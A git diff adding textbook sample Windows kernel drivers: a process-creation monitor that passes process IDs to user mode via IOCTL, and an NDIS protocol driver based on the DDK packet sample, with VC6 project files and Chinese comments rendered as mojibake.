×Ô¶¨Ò庯ÊýµÄÉùÃ÷ +NTSTATUS DispatchCreateClose(PDEVICE_OBJECT pDevObj, PIRP pIrp); +void DriverUnload(PDRIVER_OBJECT pDriverObj); +NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp); +VOID ProcessCallback(IN HANDLE hParentId, IN HANDLE hProcessId, IN BOOLEAN bCreate); + +// Çý¶¯ÄÚ²¿Ãû³Æ¡¢·ûºÅÁ¬½ÓÃû³Æ¡¢Ê¼þ¶ÔÏóÃû³Æ +#define DEVICE_NAME L"\\Device\\devNTProcDrv" +#define LINK_NAME L"\\DosDevices\\slNTProcDrv" +#define EVENT_NAME L"\\BaseNamedObjects\\NTProcDrvProcessEvent" + + +typedef struct _DEVICE_EXTENSION // É豸¶ÔÏóµÄ˽Óд洢 +{ + HANDLE hProcessHandle; // ʼþ¶ÔÏó¾ä±ú + PKEVENT ProcessEvent; // Óû§ºÍÄÚºËͨÐŵÄʼþ¶ÔÏóÖ¸Õë + + HANDLE hPParentId; // Ôڻص÷º¯ÊýÖб£´æ½ø³ÌÐÅÏ¢£¬µ±Óû§³ÌÐòÇëÇóʱ£¬´«µÝ¹ýÈ¥ + HANDLE hPProcessId; + BOOLEAN bPCreate; +} DEVICE_EXTENSION, *PDEVICE_EXTENSION; + +PDEVICE_OBJECT g_pDeviceObject; + + +// Çý¶¯³ÌÐò¼ÓÔØʱµ÷ÓÃDriverEntryÀý³Ì +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString) +{ + NTSTATUS status = STATUS_SUCCESS; + + // ³õʼ»¯¸÷¸öÅÉDzÀý³Ì + pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose; + pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose; + pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl; + pDriverObj->DriverUnload = DriverUnload; + + // ´´½¨¡¢³õʼ»¯É豸¶ÔÏó + // É豸Ãû³Æ + UNICODE_STRING ustrDevName; + RtlInitUnicodeString(&ustrDevName, DEVICE_NAME); + // ´´½¨É豸¶ÔÏó + PDEVICE_OBJECT pDevObj; + status = IoCreateDevice(pDriverObj, + sizeof(DEVICE_EXTENSION), // ΪÉ豸À©Õ¹½á¹¹ÉêÇë¿Õ¼ä + &ustrDevName, + FILE_DEVICE_UNKNOWN, + 0, + FALSE, + &pDevObj); + if(!NT_SUCCESS(status)) + { + return status; + } + PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension; + + // ´´½¨·ûºÅÁ¬½ÓÃû³Æ + // ·ûºÅÁ¬½ÓÃû³Æ + UNICODE_STRING ustrLinkName; + RtlInitUnicodeString(&ustrLinkName, LINK_NAME); + // ´´½¨¹ØÁª + status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName); + if(!NT_SUCCESS(status)) + { + IoDeleteDevice(pDevObj); + return status; + } + + // ±£´æµ½É豸¶ÔÏóµÄÖ¸Õ룬ÏÂÃæÔÚ½ø³Ì»Øµ÷º¯ÊýÖл¹ÒªÊ¹Óà + g_pDeviceObject = pDevObj; + + // ΪÁËÓû§Ä£Ê½½ø³ÌÄܹ»¼àÊÓ£¬´´½¨Ê¼þ¶ÔÏó + UNICODE_STRING uszProcessEventString; + RtlInitUnicodeString(&uszProcessEventString, EVENT_NAME); + pDevExt->ProcessEvent = IoCreateNotificationEvent(&uszProcessEventString, &pDevExt->hProcessHandle); + + // ÉèÖÃËüΪ·ÇÊÜÐÅ״̬ + KeClearEvent(pDevExt->ProcessEvent); + // ÉèÖûص÷Àý³Ì + status = PsSetCreateProcessNotifyRoutine(ProcessCallback, FALSE); + + return status; +} + + +void DriverUnload(PDRIVER_OBJECT pDriverObj) +{ + // ÒƳý½ø³Ì»Øµ÷Àý³Ì + PsSetCreateProcessNotifyRoutine(ProcessCallback, TRUE); + + // ɾ³ý·ûºÅÁ¬½ÓÃû³Æ + UNICODE_STRING strLink; + RtlInitUnicodeString(&strLink, LINK_NAME); + IoDeleteSymbolicLink(&strLink); + + // ɾ³ýÉ豸¶ÔÏó + IoDeleteDevice(pDriverObj->DeviceObject); +} + + +// ´¦ÀíIRP_MJ_CREATE¡¢IRP_MJ_CLOSE¹¦ÄÜ´úÂë +NTSTATUS DispatchCreateClose(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + pIrp->IoStatus.Status = STATUS_SUCCESS; + // Íê³É´ËÇëÇó + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return STATUS_SUCCESS; +} + + +// I/O¿ØÖÆÅÉDzÀý³Ì +NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint(" ProcDrv: DispatchIoctl... \n"); + + // ¼ÙÉèʧ°Ü + NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; + + // È¡µÃ´ËIRP£¨pIrp£©µÄI/O¶ÑÕ»Ö¸Õë + PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp); + + // È¡µÃÉ豸À©Õ¹½á¹¹Ö¸Õë + PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension; + + // È¡µÃI/O¿ØÖÆ´úÂë + ULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; + // È¡µÃI/O»º³åÇøÖ¸ÕëºÍËüµÄ³¤¶È + PCALLBACK_INFO pCallbackInfo = (PCALLBACK_INFO)pIrp->AssociatedIrp.SystemBuffer; + ULONG uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; + ULONG uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; + + switch(uIoControlCode) + { + case IOCTL_NTPROCDRV_GET_PROCINFO: // ÏòÓû§³ÌÐò·µ»ØÓÐʼþ·¢ÉúµÄ½ø³ÌµÄÐÅÏ¢ + { + if(uOutSize >= sizeof(CALLBACK_INFO)) + { + pCallbackInfo->hParentId = pDevExt->hPParentId; + pCallbackInfo->hProcessId = pDevExt->hPProcessId; + pCallbackInfo->bCreate = pDevExt->bPCreate; + + status = STATUS_SUCCESS; + } + } + break; + } + + if(status == STATUS_SUCCESS) + pIrp->IoStatus.Information = uOutSize; + else + pIrp->IoStatus.Information = 0; + + + // Íê³ÉÇëÇó + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} + +// ½ø³Ì»Øµ÷º¯Êý +VOID ProcessCallback(IN HANDLE hParentId, IN HANDLE hProcessId, IN BOOLEAN bCreate) +{ + // µÃµ½É豸À©Õ¹½á¹¹µÄÖ¸Õë + PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)g_pDeviceObject->DeviceExtension; + + // °²Åŵ±Ç°Öµµ½É豸À©Õ¹½á¹¹ + // Óû§Ä£Ê½Ó¦ÓóÌÐò½«Ê¹ÓÃDeviceIoControlµ÷ÓðÑËüÈ¡³ö + pDevExt->hPParentId = hParentId; + pDevExt->hPProcessId = hProcessId; + pDevExt->bPCreate = bCreate; + + // ´¥·¢Õâ¸öʼþ£¬ÒÔ±ãÈκÎÕýÔÚ¼àÌýµÄÓû§³ÌÐòÖªµÀÓÐÊÂÇé·¢ÉúÁË¡£ + // Óû§Ä£Ê½ÏµÄÓ¦ÓóÌÐò²»ÄÜÖØÖÃKMʼþ£¬ËùÒÔÎÒÃÇÒªÔÚÕâÀï´¥·¢Ëü + KeSetEvent(pDevExt->ProcessEvent, 0, FALSE); + KeClearEvent(pDevExt->ProcessEvent); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.dsp" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.dsp" new file mode 100644 index 0000000..e0b2c57 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.dsp" @@ -0,0 +1,109 @@ +# Microsoft Developer Studio Project File - Name="ProcDrv" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Application" 0x0101 + +CFG=ProcDrv - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "ProcDrv.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "ProcDrv.mak" CFG="ProcDrv - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "ProcDrv - Win32 Release" (based on "Win32 (x86) Application") +!MESSAGE "ProcDrv - Win32 Debug" (based on "Win32 (x86) Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +MTL=midl.exe +RSC=rc.exe + +!IF "$(CFG)" == "ProcDrv - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /Gz /W3 /GX /Zi /Oi /I "$(ddkroot)\inc\ddk" /I "$(ddkroot)\inc" /D "WIN32" /D "NDEBUG" /D "_X86_" /D "i386" /D "STD_CALL" /D "CONDITION_HANDLING" /D "WIN32_LEAN_AND_MEAN" /D "NT_UP" /D "SRVDBG" /D "DBG" /D "_IDWBUILD" /D _WIN32_WINNT=0x0400 /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386 /out:"Release/ProcDrv.sys" +# ADD LINK32 ntoskrnl.lib hal.lib /nologo /entry:"DriverEntry" /machine:I386 /out:"Release/ProcDrv.sys" /libpath:"$(ddkroot)\libfre\i386" /libpath:"$(ddkroot)\lib\i386\free" /subsystem:native /driver + +!ELSEIF "$(CFG)" == "ProcDrv - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /Gz /W3 /GX /Zi /Oi /I "$(ddkroot)\inc\ddk" /I "$(ddkroot)\inc" /D "WIN32" /D "_DEBUG" /D "_X86_" /D "i386" /D "STD_CALL" /D "CONDITION_HANDLING" /D "WIN32_LEAN_AND_MEAN" /D "NT_UP" /D "SRVDBG" /D "DBG" /D "_IDWBUILD" /D _WIN32_WINNT=0x0400 /YX /FD /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /debug /machine:I386 /out:"Debug/ProcDrv.sys" /pdbtype:sept +# ADD LINK32 ntoskrnl.lib hal.lib /nologo /entry:"DriverEntry" /incremental:no /debug /machine:I386 /out:"Debug/ProcDrv.sys" /pdbtype:sept /libpath:"$(ddkroot)\libchk\i386" /libpath:"$(ddkroot)\lib\i386\checked" /subsystem:native /driver + +!ENDIF + +# Begin Target + +# Name "ProcDrv - Win32 Release" +# Name "ProcDrv - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\ProcDrv.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# Begin Source File + +SOURCE=.\ProcDrv.h +# End Source File +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.dsw" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.dsw" new file mode 100644 index 0000000..4630d3c --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "ProcDrv"=.\ProcDrv.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.h" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.h" new file mode 100644 index 0000000..fd1b775 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.h" @@ -0,0 +1,16 @@ +//////////////////////////////////////////////// +// ProcDrv.hÎļþ + + +#define IOCTL_NTPROCDRV_GET_PROCINFO CTL_CODE(FILE_DEVICE_UNKNOWN, \ + 0x0800, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + + +// Óû§ÓëÄں˽»»¥µÄ»º³åÇø¸ñʽ£¬Õâ¸ö½á¹¹ÏòÓû§³ÌÐò·µ»Ø½ø³ÌÐÅÏ¢ +typedef struct _CallbackInfo +{ + HANDLE hParentId; + HANDLE hProcessId; + BOOLEAN bCreate; +}CALLBACK_INFO, *PCALLBACK_INFO; \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.plg" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.plg" new file mode 100644 index 0000000..32ff02e --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.plg" @@ -0,0 +1,16 @@ + + +
+

Build Log

+

+--------------------Configuration: ProcDrv - Win32 Debug-------------------- +

+

Command Lines

+ + + +

Results

+ProcDrv.sys - 0 error(s), 0 warning(s) +
+ + diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/_desktop.ini" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/Debug/ProtoDrv.sys" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/Debug/ProtoDrv.sys" new file mode 100644 index 0000000..c95f553 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/Debug/ProtoDrv.sys" differ diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/Debug/packet.inf" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/Debug/packet.inf" new file mode 100644 index 0000000..032b2bd --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/Debug/packet.inf" @@ -0,0 +1,89 @@ +;------------------------------------------------------------------------- +; PACKET.INF -- Sample Protocol Driver +; +; Copyright (c) 1993-1999, Microsoft Corporation +;------------------------------------------------------------------------- +[version] +Signature = "$Windows NT$" +Class = NetTrans +ClassGUID = {4d36e975-e325-11ce-bfc1-08002be10318} +Provider = %Msft% +DriverVer = 06/16/2004,5.00.2064 + +[Manufacturer] +%Msft%=MSFT + +[MSFT] +%PACKET_Desc%=Install, MS_PACKET + +;------------------------------------------------------------------------- +; Installation Section +;------------------------------------------------------------------------- +[Install] +AddReg=Inst_Ndi +Characteristics=0 ; Has no characterstic +CopyFiles=CpyFiles_Sys + +;------------------------------------------------------------------------- +; Ndi installation support +;------------------------------------------------------------------------- +[Inst_Ndi] +HKR,Ndi,Service,,"Packet" +HKR,Ndi,HelpText,,%PACKET_HelpText% +HKR, Ndi\Interfaces, UpperRange,, noupper +HKR,"Ndi\Interfaces","LowerRange",,"ndis5,ndis4" + +;------------------------------------------------------------------------- +; Service installation support +;------------------------------------------------------------------------- +[Install.Services] +AddService=slNdisProt,,PACKET_Service_Inst ; <<===ÕâÀï + +[Packet_Service_Inst] +DisplayName = %PACKET_Desc% +ServiceType = 1 ;SERVICE_KERNEL_DRIVER +StartType = 3 ;SERVICE_DEMAND_START ; <<===ÕâÀï +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +ServiceBinary = %12%\ProtoDrv.sys ; <<===ÕâÀï +LoadOrderGroup = "PNP_TDI" +AddReg = AddReg_PACKET_Service_Inst +Description = %PACKET_Desc% + +[AddReg_PACKET_Service_Inst] +HKLM,"System\CurrentControlSet\Services\slNdisProt","TextModeFlags",%REG_DWORD%,0x0001 ; <<===ÕâÀï +HKR,"Parameters","Test",,"Hello" + +;------------------------------------------------------------------------- +; Support for removal of static registry settings +;------------------------------------------------------------------------- +[Install.Remove] +DelReg=Del_Static_Reg + +[Install.Remove.Services] +DelService = slNdisProt ; <<===ÕâÀï + +[Del_Static_Reg] +HKLM,"System\CurrentControlSet\Services\slNdisProt","TextModeFlags" ; <<===ÕâÀï + +;------------------------------------------------------------------------- +; Declare Destination Directories for file copy/deletion +;------------------------------------------------------------------------- +[DestinationDirs] +CpyFiles_Sys = 12 ; DIRID_DRIVERS + + +;------------------------------------------------------------------------- +; Files to Copy/Delete - Referenced by Install and Remove sections above +;------------------------------------------------------------------------- +[CpyFiles_Sys] +ProtoDrv.sys,,,2 ; <<===ÕâÀï + +[Strings] +Msft = "Microsoft" +PACKET_Desc = "DDK PACKET Protocol" +PACKET_HelpText = "A non-routable protocol designed for use in small LANs." +REG_DWORD = 0x10001 + + + + diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ProtoDrv.dsp" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ProtoDrv.dsp" new file mode 100644 index 0000000..fd66732 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ProtoDrv.dsp" @@ -0,0 +1,126 @@ +# Microsoft Developer Studio Project File - Name="ProtoDrv" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Application" 0x0101 + +CFG=ProtoDrv - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "ProtoDrv.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "ProtoDrv.mak" CFG="ProtoDrv - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "ProtoDrv - Win32 Release" (based on "Win32 (x86) Application") +!MESSAGE "ProtoDrv - Win32 Debug" (based on "Win32 (x86) Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +MTL=midl.exe +RSC=rc.exe + +!IF "$(CFG)" == "ProtoDrv - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /Gz /W3 /GX /Zi /Oi /I "$(ddkroot)\inc\ddk" /I "$(ddkroot)\inc" /D "WIN32" /D "NDEBUG" /D "_X86_" /D "i386" /D "STD_CALL" /D "CONDITION_HANDLING" /D "WIN32_LEAN_AND_MEAN" /D "NT_UP" /D "SRVDBG" /D "DBG" /D "_IDWBUILD" /D _WIN32_WINNT=0x0400 /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386 /out:"Release/ProtoDrv.sys" +# ADD LINK32 ntoskrnl.lib hal.lib /nologo /entry:"DriverEntry" /machine:I386 /out:"Release/ProtoDrv.sys" /libpath:"$(ddkroot)\libfre\i386" /libpath:"$(ddkroot)\lib\i386\free" /subsystem:native /driver + +!ELSEIF "$(CFG)" == "ProtoDrv - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /Gz /W3 /GX /Zi /Oi /I "$(ddkroot)\inc\ddk" /I "$(ddkroot)\inc" /D "WIN32" /D "_DEBUG" /D "_X86_" /D "i386" /D "STD_CALL" /D "CONDITION_HANDLING" /D "WIN32_LEAN_AND_MEAN" /D "NT_UP" /D "SRVDBG" /D "DBG" /D "_IDWBUILD" /D _WIN32_WINNT=0x0400 /FR /YX /FD /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /debug /machine:I386 /out:"Debug/ProtoDrv.sys" /pdbtype:sept +# ADD LINK32 ntoskrnl.lib hal.lib /nologo /entry:"DriverEntry" /incremental:no /debug /machine:I386 /out:"Debug/ProtoDrv.sys" /pdbtype:sept /libpath:"$(ddkroot)\libchk\i386" /libpath:"$(ddkroot)\lib\i386\checked" /subsystem:native /driver + +!ENDIF + +# Begin Target + +# Name "ProtoDrv - Win32 Release" +# Name "ProtoDrv - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\ndisbind.cpp +# End Source File +# Begin Source File + +SOURCE=.\ndisprot.cpp +# End Source File +# Begin Source File + +SOURCE=.\recv.cpp +# End Source File +# Begin Source File + +SOURCE=.\send.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# Begin Source File + +SOURCE=.\ndisprot.h +# End Source File +# Begin Source File + +SOURCE=.\nuiouser.h +# End Source File +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ProtoDrv.dsw" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ProtoDrv.dsw" new file mode 100644 index 0000000..06497b4 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ProtoDrv.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "ProtoDrv"=.\ProtoDrv.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ProtoDrv.suo" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ProtoDrv.suo" new file mode 100644 index 0000000..ce2365b Binary files /dev/null and "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ProtoDrv.suo" differ diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/_desktop.ini" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ndisbind.cpp" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ndisbind.cpp" new file mode 100644 index 0000000..461e8c4 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ndisbind.cpp" @@ -0,0 +1,279 @@ +/////////////////////////////////////////////// +// ndisbind.cppÎļþ +// NDISЭÒéÈë¿Úµã£¬´¦Àí°ó¶¨ºÍ½â³ý°ó¶¨µÄÀý³Ì + + +extern "C" +{ + #include + #include + #include +} +#include "nuiouser.h" +#include "ndisprot.h" + + +VOID + ProtocolBindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE BindContext, + IN PNDIS_STRING DeviceName, + IN PVOID SystemSpecific1, + IN PVOID SystemSpecific2 + ) +{ + + DbgPrint(" ProtoDrv: ProtocolBindAdapter... \n"); + + NDIS_STATUS status = STATUS_SUCCESS; + PDEVICE_OBJECT pDeviceObj = NULL; + UNICODE_STRING ustrDevName = { 0 }; + OPEN_INSTANCE *pOpen = NULL; + + do + { + // Ϊз¢ÏÖµÄÉ豸´´½¨É豸¶ÔÏóºÍ·ûºÅÁ¬½ÓÃû³Æ + // ¹¹½¨É豸¶ÔÏóÃû³Æ¡£ + // É豸Ãû³ÆµÄ¸ñʽÊÇ¡°\Device\{GUID}¡±£¬ÎÒÃǵÄÉ豸¶ÔÏóÃû³ÆµÄ¸ñʽΪ¡°\Device\Packet_{GUID}¡±£¬ + // ¼´ÔÚÉ豸Ãû³ÆÇ°¼Óǰ׺¡°Packet_¡± + int nLen = DeviceName->Length + 7*sizeof(WCHAR) + sizeof(UNICODE_NULL); + PWSTR strName = (PWSTR)ExAllocatePool(NonPagedPool, nLen); + if(strName == NULL) + { + *Status = NDIS_STATUS_FAILURE; + break; + } + swprintf(strName, L"\\Device\\Packet_%ws", &DeviceName->Buffer[8]); + RtlInitUnicodeString(&ustrDevName, strName); + // ´´½¨É豸¶ÔÏó£¬Í¬Ê±ÔÚÉ豸¶ÔÏóµÄDeviceExtensionÓòÉêÇëÒ»¸öOPEN_INSTANCE½á¹¹ + status = IoCreateDevice(g_data.pDriverObj, + sizeof(OPEN_INSTANCE), // Ö¸¶¨DeviceExtensionÓòµÄ´óС + 